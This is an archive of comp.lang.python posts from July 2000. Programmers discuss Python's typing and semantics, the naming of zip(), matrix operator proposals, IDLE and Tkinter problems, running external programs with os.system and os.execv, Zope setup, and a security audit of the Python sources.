(yes, I, <gasp>, have users using Jview, as it is installed, and
convincing them do DL Sun's package did not work)


I was hoping that Python (and it does seem to be really neat on the
programming end) would provide me with the ability to create an
executable that one would Download and run without having to (1) set
classpath (2) run-line command it.. etc...  ((I had been hoping for
it in Java, too... chock it up to beginners' stupidity--one year
later I am a little wiser))

I've read references to 'compiling it to C'... is this a laborious
process requiring knowledge of C or C++?

~Dave


__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/


From theebh at yahoo.com  Tue Jul 25 01:13:01 2000
From: theebh at yahoo.com (Jonathan)
Date: Tue, 25 Jul 2000 05:13:01 GMT
Subject: Python is wierd!
Message-ID: <8lj7kr$ttc$1@nnrp1.deja.com>

Hi, just finished going through the 'Learning Python' book, and the
feeling that i get is that Python is really wierd(compared to other
conventional languages like C++, Java, etc). For e.g.(correct me if i'm
wrong)

1. There are no keywords to declare static or instance variables; it
all depends where they are placed(whether it's right after the <class>
statement, or inside a <def>). Isn't it harder for other programmers to
know at one glance what type of attributes the class define?

2. No *formal* declaration of static class methods, e.g. no 'static'
keyword (though i'm not sure how useful static methods are in OOP
design). I read somewhere in this newsgroup that the workaround way is
to define the method outside of the class - doesn't it break
the 'encapsulation' a class suppose to have?

3. No keywords to differentiate between passing arguments by reference
or value! An integer is passed by value(reference to a new copy), while
a mutable object is by reference. To pass a list by 'value', i know you
just need to insert one more line(list = [:]), but it seems
so 'inconsistent' compared to Java or even PHP.

(Not to mention the number of 'gotchas' listed in the book that are
bound to trap beginners - *shudder*)

The reason i'm picking up python is that i got sick of PERL:), and
don't really like the inflexible typing of Java. Furthermore, some ppl
claim that Python is easier to learn, enables you to write much cleaner
codes... However, after reading the python book, my head is still
spinning, trying to catch all the 'intricacies' of this language. No
doubt it will be a powerful and useful 'tool' to me once i get used to
it; but i don't think it's suitable to be a first programming language
for non-programmers(i read somewhere about this project going on).
Pascal(for procedural) and Java(for OOP) is still the better choice to
start off, IMHO.

regards,
Jonathan


Sent via Deja.com http://www.deja.com/
Before you buy.


From stephen_purcell at yahoo.com  Tue Jul  4 22:46:49 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Wed, 05 Jul 2000 02:46:49 -0000
Subject: Java line to JPython (help Obj.class)
In-Reply-To: <8jt239$jb3$1@nnrp1.deja.com>
Message-ID: <8ju7ip+ed4s@eGroups.com>

tiddlerdeja at m... wrote:
> Can anyone help me turn this java line into JPython?
> 
> URL dtdURL = DOMConfigurator.class.getResource("l");
> 
> The problem I'm getting is that DOMConfigurator doesn't seem to have
> attribute class.
> 
> Is there a workaround?

How about:

 dtdURL = DOMConfigurator.getResource('l')


If DOMConfigurator is a Java class, then the JPython object
'DOMConfigurator' is equivalent to the 'DOMConfigurator.class' in
Java.

e.g.,

>>> import java.lang.Object
>>> java.lang.Object
<jclass java.lang.Object at -986770152>


-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me






From jbauer at rubic.com  Mon Jul 31 10:58:00 2000
From: jbauer at rubic.com (Jeff Bauer)
Date: Mon, 31 Jul 2000 09:58:00 -0500
Subject: How about each() instead of zip()?
References: <2b384e38.2adaccde@usw-ex0107-055.remarq.com>
Message-ID: <398593F8.30D576FE@rubic.com>

Hamish Lawson wrote:
> A number of the proposals for a better name for the nascent
> zip() function seem to employ the notion of taking items from
> *each* of the constituent sequences. So I thought: how about
> each() itself as the name of the function?

The naming issue for Lockstep iteration is essentially
over.  See PEP 201:

http://python.sourceforge.net/peps/pep-0201.html

- The function's name.  An earlier version of this PEP included an
  open issue listing 20+ proposed alternative names to zip().  In
  the face of no overwhelmingly better choice, the BDFL strongly
  prefers zip() due to its Haskell[2] heritage.  See version 1.7
  of this PEP for the list of alternatives.


Jeff Bauer
Rubicon Research



From alex at magenta.com  Tue Jul 25 07:29:50 2000
From: alex at magenta.com (Alex Martelli)
Date: Tue, 25 Jul 2000 13:29:50 +0200
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net> <uya2q279j.fsf@ctwd0143.fitlinxx.com>
Message-ID: <8ljttr0b98@news1.newsguy.com>

"David Bolen" <db3l at fitlinxx.com> wrote in message
news:uya2q279j.fsf at ctwd0143.fitlinxx.com...
    [snip]
> If a function requires that the supplied object support a "write"
> method, then all Python requires is that be the case.  And it only
> cares when the function actually tries to make the call, not at
> compile time or function declaration.  It doesn't where the object
> fits in a class hierarchy, nor if the object provides all sorts of
> unrelated methods.  It only wants that "write" method to be present.
>
> Until you've worked this way you can't imagine how clean, natural and
> "fun" this is - at least IMO.  It makes design much cleaner and
> simpler, and means that you can evolve things more simply.  No, it's
> not perfect and has its own warts, but I'm sold on it.

Incidentally, this is basically the way that C++'s templates work,
except that they do their work at compile-time so that the constraints
are slightly different -- if the call to method write is inside an if that
never happens to be satisfied, you still need an object with such
a method to instantiate the template, since the compiler is unable
(in general) to ensure the "never happens"; but if it's inside a method
of the template which, itself, is never invoked, then that's OK.

The fact that templates are oblivious to class hierarchies and only
care about a given subset of an object's signature is part of what
gives them their awesome power.  Think of Python as further
extending this signature-subset-based paradigm of "typing" to
every use of an object, not just uses happening inside a template,
and (at least if, like me, you're a C++ guru moving to Python:-)
some things may fall into place better...


> Don't get me wrong - if your background is more biased towards heavily
> typed languages (mine was, although I did have some decent experience
> in others) it's sort of a paradigm shift and takes some thinking to

Sort of, I guess.  But I come from a lot of very-strong-typing myself, and
I took to Python like a duck to water.  Indeed, it's led me to reconsider
much of what I took for granted about strong-typing and its usefulness.


Alex





From alex at magenta.com  Fri Jul 28 09:16:29 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 15:16:29 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net> <slrn8o25nr.e7.grey@teleute.rpglink.com>
Message-ID: <8ls1bb017he@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o25nr.e7.grey at teleute.rpglink.com...
    [snip]
>     Define a variable to get the name space in there but you don't know
how it
> is going to be used later on.  a = None.  Now make it a list in a concise
> manner.
>
> for x in range(10):
>   a.append(x)
>
>     Whoops, can't do it.  It isn't a list.  So make it a list.

Right, make it a list.  I.e., instead of
    a=None
start out with
    a=[]
and you're done.  What's hard about this?

> list(a)
> for x in range(10):
>   a.append(x)
>
>     Whoops, can't do it.  None can't be transformed into a list.

Whatever a refers to, the expression statement
    list(a)
is not going to make a refer to anything different than before.

> for x in range(10):
>   if a:
>     a.append(x)
>   else
>     a = [x]
>
>    All that because of type checking?  Jumping through 3 hoops just to get
> done what should be a trivial matter.

Clumsy!  Just set a=[] once, outside of the loop -- how much easier can it
get?


Alex





From samschul at pacbell.net  Mon Jul 10 21:02:45 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Tue, 11 Jul 2000 01:02:45 GMT
Subject: Can anyone hear me? (was Solution to IDLE and Tkinter problems)
References: <200007110027.RAA16246@stevie.loop.com>
Message-ID: <8kdrnd$j8b$1@nnrp1.deja.com>

I am reposting your previous message so no one will have to search the
news group for it. Hope this helps.

Sam Schulenburg


Dear Python Community,
I have noticed, as have many others, that IDLE has trouble running
Tkinter programs.  I suspected, and read in newsgroup postings, the
explanation that IDLE uses Tkinter and it causes problems when one
Tkinter session is run within another.
I have thought up, and implemented, a very simple solution to this
problem(the code is below); however, it is pretty ugly and clumsy.  My
solution is just to use the os.system command to call python.exe and
run the script.
There are a few problems, however.  os.system takes a _long_ time to
get the interpreter running and blanks my screen while it does it.  It
would be nice if there was some more efficient command to start the
interpreter.  A second problem is the kludge randomly breaks, and I
don't know why because I don't understand the IDLE code.  Also, because
of my lack of IDLE knowledge, I am probably using the wrong calls to
get what I want and I am sure it could be made cleaner. I have had this
for a while, and I did not post because I was sure that something this
obvious would have already been done, or at least thought of as a
TODO.  I still suspect I am missing something,
because this seems so simple, and it is definitely a problem...

    Thank you for your time,
      Jesse Weinstein

My Solution:  (insert in ScriptBinding.py)
The lines with #JW after them are the lines I added

menudefs = [
        ('edit', [None,
                  ('Import module', '<<import-
module>>'),                   ('Run script', '<<run-
script>>'),                    ('Alt Run script', '<<run-script2>>'),
#JW                 ]
        ),
    ]

def run_script2_event(self, event): #JW
        filename = self.getfilename() #JW
        if not filename: #JW
            return #JW
        print filename #JW
        os.system("c:\\python\\python.exe " + filename) #JW

  << previous  ?  next >>

Unsubscribe from comp.lang.python



Sent via Deja.com http://www.deja.com/
Before you buy.


From serve at circe.dem.nl  Thu Jul 20 14:36:49 2000
From: serve at circe.dem.nl (slauijssen)
Date: Thu, 20 Jul 2000 20:36:49 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net>
Message-ID: <964118210.2281.0.pluto.d4ee0942@news.demon.nl>

Err, by the way
On a linux cd I found a C++ interpreter. The funny thing is that the
interpreter itself is written with c++ and interprets itself to interpret
the really to interpret code. Got it? ;-)

Mallor <mallor at 3DProgrammer.com> schreef in berichtnieuws
v62d5.580$GQ1.26151 at newsread2.prod.itd.earthlink.net...
> Are any of you game developers out there using Python as your game
engine's
> embedded scripting language?  I am wondering what drove your decision to
use
> Python instead of other embeddable scripting languages?  I'd like to hear
what
> your overriding concerns were, and also what they are now, having put
Python to
> the test.
>
> --
> Cheers,             Infernal Troublemaker                    Troll
> Mallor              "By simple mistake, mortals themselves amuse."
>
>
>




From michael at stroeder.com  Mon Jul  3 07:33:54 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 03 Jul 2000 13:33:54 +0200
Subject: Python CGI security
References: <Pine.GSO.4.10.10007031350130.22346-100000@sundial>
Message-ID: <39607A22.CA190D70@stroeder.com>

Moshe Zadka wrote:
> 
> On Mon, 3 Jul 2000, Michael [iso-8859-1] Str?der wrote:
> 
> > Ok, here are some examples from Python1.6a2 sources (see below).
> 
> OK, here is an answer to the report I just snipped.

Note that I only posted *excerpts* of the ITS4 output. Feel free to
ask if you want the whole output by e-mail (approx. 1000 lines with
a lot of repeated messages).

> There are a few types of "potential security holes":
> 
>  -- exposing insecure parts of the API, such as os.system(). These should
>     stay, since the user should have those at his disposale

Would it be possible to provide a secure version in the Python lib
of e.g. os.system() with same function parameters but less unsecure
behaviour instead of just wrapping it 1:1?

>  -- OS/2 message formatting. I haven't looked at it, but this only
>     concerns you if you're working on OS/2

Hmm, I do not know under which OS my demons will run.
Would be worth to collect such insights somewhere.

>  -- checked "dangerous" functions, which are therefore fine as far as I
>     could see
> 
>  -- one sprintf() which will work fine as long as integers are <128 bits,
>     which is true in the forseeable feature. I'm planning to patch this,
>     just in case, but it should be fine anyway. (I'm talking about the
>     first sprintf() in posixmodule.c)

Thanks for following up.

Ciao, Michael.


From phil at geog.ubc.ca  Sun Jul 23 18:57:44 2000
From: phil at geog.ubc.ca (Phil Austin)
Date: 23 Jul 2000 15:57:44 -0700
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature> <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au> <397B6319.27A6438A@nceas.ucsb.edu>
Message-ID: <m34s5gqwt3.fsf@brant.geog.ubc.ca>

"Timothy H. Keitt" <keitt at nceas.ucsb.edu> writes:

> R (www.r-project.org) uses '%' as in A %*% B.  Might be nice to
> standardize.
> 
> Tim

This is the first mention of R/Splus I've seen in this discussion --
for those who don't know, R is the free version of Splus, which is a
very popular language in the academic statistics community.  Here's a
longer list of their operator choices from:

http://stat.ethz.ch/R-alpha/doc/html/function.html

%%                       Arithmetic Operators (base)
%*%                      Matrix Multiplication (base)
%/%                      Arithmetic Operators (base)
%in%                     Value Matching (base)
%o%                      Outer Product of Arrays (base)
%x%                      Kronecker Product of Arrays (base)
&                        Logical Operators (base)
&&                       Logical Operators (base)


Phil


From piet at cs.uu.nl  Mon Jul 31 14:35:04 2000
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 31 Jul 2000 20:35:04 +0200
Subject: Dictionaries behaviour Linux vs. Windows
References: <3985B4B4.8F7BD5F7@schlund.de>
Message-ID: <wz1z0ajgh3.fsf@sunshine.cs.uu.nl>

>>>>> Carsten Gaebler <cg at schlund.de> (CG) writes:

CG> Hi!
CG> I have the following problem with Python 1.5.2:

CG> dict = {}
CG> dict.get("test", []).append(1)

CG> On Windows 95: dict == {"test": [1]}
CG> On Linux: dict == {}
CG> What's the difference?

On Windows 95 I get {}, which is what it should be, as you don't change the
dictionary. 
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From rumjuggler at cryptarchy.org  Tue Jul 25 01:36:05 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Tue, 25 Jul 2000 05:36:05 GMT
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <397BDCC6.9C498F01@my.signature> <397BF66A.EF8BDEF4@prescod.net> <397D1ADA.A8074086@my.signature> <397D21AF.28498FBC@prescod.net>
Message-ID: <0s9qnsocfp80r09u4b4sm49ttuetdmmqb4@4ax.com>

On Tue, 25 Jul 2000 00:12:15 -0500, Paul Prescod <paul at prescod.net> wrote:

>Greg Ewing wrote:
>> 
>> To get attribute attr_name:
>>    if attr_name is in the instance dict:
>>       return it
>
>If I understand this correctly, then the very first time you add the
>attribute to the dict you effectively wipe out the accessor because the
>test above will evaluate true every time and the branch that uses
>accessors will never get called.
>
>If so, then your proposal does not allow the use of the XXX entry in the
>dict for arbitrary values. That would have been the primary benefit over
>my latest proposal.

What about:

To get attribute attr_name:
   if attr_name is in the instance dict:
      if the class's has_get_accessors flag is not set:
         return it
      else:
         translate attr_name to interned get_accessor_name using cache
         for each class along the inheritance path:
            if the class's has_get_accessors flag is set and it contains
               a method called get_accessor_name:
                  call it and return the result
            else:
               if the class contains an attribute called attr_name:
                  return it
   for each class along the inheritance path:
      if the class has a __getattr__ method:
         call it and return the result
   raise AttributeError

That way, if I understand correctly, a class can still (actually, must) use
the same XXX for __dict__['XXX'] and __get_XXX__.

-- 
Barnabas T. Rumjuggler

My words but a whisper, your deafness a SHOUT.
 -- Jethro Tull, "Thick as a Brick"


From gregory.lielens at fft.be  Wed Jul 19 05:03:39 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Wed, 19 Jul 2000 11:03:39 +0200
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <39751EFA.6293FDFE@prescod.net>
Message-ID: <39756EEB.7CC8F262@fft.be>

Paul Prescod wrote:
> 
> Tim Hochberg wrote:
> >
> > Similarly:
> >
> > dot((A,B), C) -> A(B)(C)
> > dot(A, dot(B,C) -> A(B(C))
> >
> > which looks pretty good to me. And it's arguably closer to paper
> > linear algebra notation than A*B is.
> 
> Another good idea! You can even make it look like the new-syntax
> proposal:
> 
> A()*B()*C
> A()+B()+C
> A()-B()-C

Wow...Personally, I do not like it too mush...to say the least! I found
it really confusing, because
there is no way to visually tell if you are calling a function or
performing matrix multiplication, which is
not a good thing as these two operation are likely to appear at the same
time on many lines of codes involving linear algebra...This is
particularly confusing for A(B), and slightly better for A()*B()*C...but
again, A could be a function with no arguments!

On the other hand, the JNumeric "symmetric" notation looks already
better, even "sexy":
(A)(B), yeah!

but I see 2 problems:

-the parentheses around A are important because they are a visual hint
to indicate that this is not a function call,
but a matrix multiply (or more generally, an inner product for Nd
numeric arrays). But internally, (A)(B) is the same as A(B) (I think it
is the case, please correct me if  I am wrong), so we have to count on
the good will of people to avoid the A(B) thing, and to avoid to write
(f)(A) when f is a function. The last case is not likely, but if f is an
array of functions, (f[i])(A) could happen (and have a totally different
meaning if f is an array of Numeric arrays). This problem comes only
from "look", but it is important imho, I really fear to see A(B)!
 
-it gives one more operator only, the multiplication...This is the more
important, I agree, especially if (A.inv)(B) can be evaluated at the
same cost as Matlab's A\B, but it rules out the distinction one could
want to make regarding other operations.


Greg.


From stephen at cerebralmaelstrom.com  Tue Jul 18 21:07:29 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Tue, 18 Jul 2000 18:07:29 -0700
Subject: Getting local IP address...
References: <uitu45ihv.fsf@ctwd0143.fitlinxx.com> <CC59868A0A76D311B1F50090277B321C1F342C@VRTMAIL> <8l236h$8b8i$1@nntp6.u.washington.edu>
Message-ID: <39750089$1_1@my.newsfeeds.com>

> On the bright side, generally it's not necessary to know your own
> IP address.  I'm curious why we are seeing this question so often,
> what are folks doing out there?


    Actually, my need has nothing to do with an application -- it
is to answer a question i'm curious about.

    My cable internet provider, Road Runner, does not supply static
IPs to its customers as  a matter of policy... that way there's something
for them to upgrade to, y'know... I'm wondering just how often the IP
is shuffled -- my current one looks terribly familiar :) So I put up a log
program to check periodically (daily) and see what my IP is, then
record it. So far, after a week and a /major/ system outage due to an
upgrade, i'm still using that terribly familiar one. :)

    I'm not going to mail and ask them because my experience with the
bosses at RR is that they tend to be rather dumb, and I don't want them
to think about it anymore then they have to if they happen to nto be
expiring :)

    For instance, Road Runner Tampa Bay blocks, as a matter of policy,
all incoming data on port 25 to stop spam.... :)

--Stephen




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----


From alex at magenta.com  Mon Jul 10 09:12:14 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 10 Jul 2000 15:12:14 +0200
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <81da5.125084$WS3.1096675@typhoon.we.rr.com> <8kbuqn0uoa@news1.newsguy.com> <Lgga5.125600$WS3.1101565@typhoon.we.rr.com>
Message-ID: <8kciag017h5@news2.newsguy.com>

"Stephen Hansen" <stephen at cerebralmaelstrom.com> wrote in message
news:Lgga5.125600$WS3.1101565 at typhoon.we.rr.com...
>     But you can't patent something like: "Something that carries large
> objects from one place to another."

You *shouldn't be able to*.  But, given the way the Patent Office actually
works, you can patent anything you can get away with, and you're likely
to get away with a lot (e.g., patent something easy to prove impossible,
such as "an algorithm to compress bitsequences which will always
reduce the sequence length by at least one bit"; or, patent "some way
that allows web users to order your product with a single click"...).  Maybe
the courts will later reverse it, but meanwhile you've got something to
blackmail people and firms with.

I don't think Sun has patented the general concept of programming
language, but you should do a patent search just to make sure:-).  And,
sure, if they have it's probably invalid (previous art, obvious to one
skilled in the art, etc, etc), but until a court invalidates it the can sue,
or
threaten to sue, they can ask for relief against your "infringement" until
the case is decided, etc, etc.


> You don't patent the concept of the end-effect, you patent the process,
> model, device, etc...

Yes, that's the theory.  The practice of software and business-procedure
patents is a much sadder and grubbier reality, it seems to me.  But with
BT claiming they hold a patent on (any way of implementing) hyperlinks,
and Amazon claiming they hold a patent on (any way of implementing)
one-click orders, etc, that should be abundantly clear these days.

That much being said, if somebody's gotta be sued under these absurd
current practices, then, better it be MS, than me; if nothing else, they can
well afford the lawyers (they, and HP, did manage to win the "look and
feel" suit, didn't they).


Alex





From aahz at netcom.com  Sun Jul 16 00:56:41 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 16 Jul 2000 04:56:41 GMT
Subject: Python equivalent of CPAN in Perl
References: <397122FB.71E32674@wl.vg>
Message-ID: <8krfa9$vf4$1@nntp9.atl.mindspring.net>

In article <397122FB.71E32674 at wl.vg>,
Peter Halliday  <peter at whetstonelogic.com> wrote:
>
>Is there a module or program like CPAN in Python that collects all the
>existing modules available in some  organized way, and even compiles it
>for you? If not, that would really provide python with a reliability and
>usefulness that Perl has.  We already beat them in the syntax hands
>down, let's start catching up in the modules dept.

We've got half of it with Vaults of Parnassus.  Another third will come
with the standardization of distutils in Python 2.0 (remember, 1.6 has
been renamed to 2.0).
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From eq3pvl at eq.uc.pt  Mon Jul 17 12:29:50 2000
From: eq3pvl at eq.uc.pt (Pedro Vale Lima)
Date: Mon, 17 Jul 2000 17:29:50 +0100
Subject: Zope newbie
References: <8kv8ba$rq3$1@nnrp1.deja.com>
Message-ID: <3973347E.B73015F4@eq.uc.pt>

coughlan at gothaminteractive.com wrote:

> I've just installed Zope on Linux, and the documentation that comes
> with it refers almost exclusively to NT!?  There is very little on Zope
> with Apace.
>
> Does anyone know of a URL or forum to get a decent tour of Zope on
> Linux?  zope.com is also *very* dissappointing.

The website is www.zope.org

> It's unclear to me how to even create a hello world program to make
> sure it's installed and running.  Any advice, would be appreciated.

check in the /doc directory for install information. You don't need to use

apache to check if Zope works, use Zope internal server instead.

There are serveral ways to use Zope with Apache. For fastcgi, my
favourite,
in zope.org check for the fastcgi howto (under documentation-howtos).

regards

pedro



From thiele at muc.das-werk.de  Wed Jul  5 08:29:32 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Wed, 05 Jul 2000 14:29:32 +0200
Subject: Segmentation fault(LINUX) and no idea why!
Message-ID: <39632A2C.E6ABECEB@muc.das-werk.de>

Hallo!

In my program I create a new thread. In this new thread I fork and
replace the child with an other program
using excel. Normaly I have up to four threads with this procedure. So I
have a number of threads and the same numbers of childs (the called
program)

The problem is sometimes (relativly seldom, so it's unreproducible ;-( )
I get a segmantation fault and the pytthon interpreter stops.

But I if the segmentation fault happens, one of the childs is not
running anymore. (I don't know is that the reason or a  result)
A little testprogram with the same construction shows that if a
segmentaltion fault happens in one child, the parant keeps running.
I get no traceback from the interpreter.

My Question is, where can I look for the problem. Why does the
interpreter (-> the whole program) die.  What can be the reason?



From alex at magenta.com  Sun Jul 30 09:20:03 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 15:20:03 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com>
Message-ID: <8m1evu42n4o@news2.newsguy.com>

"Courageous" <jkraska1 at san.rr.com> wrote in message
news:39838BAC.C855EDCB at san.rr.com...
>
> > >    Actually I think it would be easier for non-programmers to
> > >learn a language if it has strict typing.
> >
> > I concur. In non-programming, life is strictly typed. Allowed
> > operations are determined by the type of the object. You can't
> > make a phone call on a waffle-iron.
>
> This is a conceptualization issue, and I suspect to a degree,
> false. If "x" is merely a label, one can imagine x labeling
> 3 or x labelling red quite easily. Your analogy works because

This only proves that types are not attached to LABELS, but
rather to the OBJECTS they happen to be labeling.  I.e., that
Python's modeling of this situation is exactly right:-).


Alex





From greg at perceval.be.bbs  Fri Jul 14 06:20:04 2000
From: greg at perceval.be.bbs (greg at perceval.be.bbs)
Date: 14 Jul 2000 10:20:04 GMT
Subject: calling .exe inside a .py?
Message-ID: <3bOe75$nG6@openbazaar.net>

In reply to the message of shindich at my-deja.com sent on Jul 13 (see below) :

> Try this:
>
> import os
> os.execl ('foo.exe')

execl is  kind of alias for execv. So using this solution, be aware of the
following:

execv (path, args)
Execute the executable path with argument list args, replacing the
current process (i.e., the Python interpreter). The argument list may be a
tuple or list of strings. Availability: Unix, Windows.

This mean tha if you have the following code in a file:

	import os
	os.execv("/bin/ls",("ls","/"))
	print "Done!"

Last line will never be executed because the python process is replaced by
the /bin/ls command. To avoid this, Unix allows you to use the fork system
call :
	import os
	i= os.fork()
	if i != 0:
		os.waitpid(i,0) # wait for the child to complete.
		print done!
	else:	#  child process
		os.execv("/bin/ls",("ls","/"))
	
An other and easier solution which also works under Windows :

	import os
	os.system("foo.exe")
	print 'Done!'


Sincerly yours

--
Life is not fair
But the root password helps
--

Gregoire Welraeds
greg at perceval.be
Perceval Development team
-------------------------------------------------------------------------------
Perceval Technologies sa/nv	Tel: +32-2-6409194
Rue Tenbosch, 9			Fax: +32-2-6403154
B-1000 Brussels			general information:   info at perceval.net
BELGIUM				technical information: helpdesk at perceval.net
URL: http://www.perceval.be/
-------------------------------------------------------------------------------

On Thu, 13 Jul 2000 shindich at my-deja.com wrote:

> Date: Thu, 13 Jul 2000 19:51:21 GMT
> From: shindich at my-deja.com
> To: python-list at python.org
> Newsgroups: comp.lang.python
> Subject: Re: calling .exe inside a .py?
>
> In article <8kl527$tke$1 at nnrp1.deja.com>,
>   level2junkie at my-deja.com wrote:
> > Does anyone know how to call an .exe file from inside a .py file?
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
> >
> Try this:
>
> import os
> os.execl ('foo.exe')
>
> For more info read http://www.python.org/doc/current/lib/os-process.html
>
> Regards,
>
> Alex Shindich
> http://www.shindich.com/
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
> --
> http://www.python.org/mailman/listinfo/python-list
>
>


From johngrayson at home.com  Sat Jul 15 10:09:53 2000
From: johngrayson at home.com (John Grayson)
Date: Sat, 15 Jul 2000 14:09:53 GMT
Subject: Why make a language case sensitive?
References: <000c01bfedcf$3e316160$6cb745c6@timaratz>
Message-ID: <8kprb9$826$1@nnrp1.deja.com>

In article <000c01bfedcf$3e316160$6cb745c6 at timaratz>,
  "Peter Timaratz" <timaratz at lisco.com> wrote:
> I thought there might be a reason why it needs to be case sensitive.
I guess
> if you come from a Unix background (which I don't) and you create a
> language, then it seems natural to make it case sensitive.
>
> I'm not trying to start a war, so I'll refrain from expressing my
opinion.
> :)
>
> > -----Original Message-----
> > From: python-list-admin at python.org
> > [mailto:python-list-admin at python.org]On Behalf Of
richard_chamberlain
> > Sent: Friday, July 14, 2000 9:52 AM
> > To: python-list at python.org
> > Subject: Re: Why make a language case sensitive?
> >
> >
> > Hi Peter,
> >
> > That's a bit of a sore point at the moment :-)
> >
> > do a search on deja for case sensitive and you'll find a whole
argument on
> > the subject.
> >
> > Richard
> >
> > Peter Timaratz <timaratz at lisco.com> wrote in message
> > news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > > I can't think of any advantages to a case sensitive language.
> > Python is a
> > > very well-designed language though, so I imagine there is a good
reason
> > that
> > > it is case sensitive. So what are the advantages of a case
sensitive
> > > language?
> > >
> > >
> >
> >
> > --
> > http://www.python.org/mailman/listinfo/python-list
> >
>
>

If you're used to C++ (or Python or Java), which don't have
to be Unix-based, then you quickly discover that a simple naming
convention in your code makes for easy (cheap) maintenance and
reuse...

e.g.

    MyClass ...             Class definition
    myClass ...             Instance of class (or other 'variable')
    MYCLASS ...             Constant (maybe an enumeration)

Then, within a class, instance or variable name, mixed case aids
readability:

    A = ...                            ? Old Basic  ;-)
    mainwindowframeborderwidth =  ...  Caseless language (or poor C++)
    mainWindowFrameBorderWidth =  ...  IMHO better

Take a look at example code for any of the major languages and I'm
sure that you'll spot a trend... Of course, if you're an assembler
programmer, then you probably don't care -- but even assemblers
can be case sensitive :-)


   John


Sent via Deja.com http://www.deja.com/
Before you buy.


From laurent8 at sxb.bsf.alcatel.fr.bbs  Wed Jul 12 03:10:02 2000
From: laurent8 at sxb.bsf.alcatel.fr.bbs (laurent8 at sxb.bsf.alcatel.fr.bbs)
Date: 12 Jul 2000 07:10:02 GMT
Subject: simple (?) re question
Message-ID: <3bN89Q$krp@openbazaar.net>

Andrew Kuchling wrote:

> You're using the wrong tool; regexes are very clumsy for this sort of
> thing.  Try looking at your regex using Demo/tkinter/guido/redemo.py
> to see how it matches; the first .* matches '/foo/bar/SCCS/s.file',
> the ?! expression matches nothing, and the second .* matches nothing.

ok I will see this sample, but I've got a problem with the init of the
Tkinter

-----------------
Python 1.5.2 (#2, Jun 22 2000, 10:49:11)  [GCC 2.8.1] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import _tkinter
>>> import Tkinter
>>> Tkinter._test()
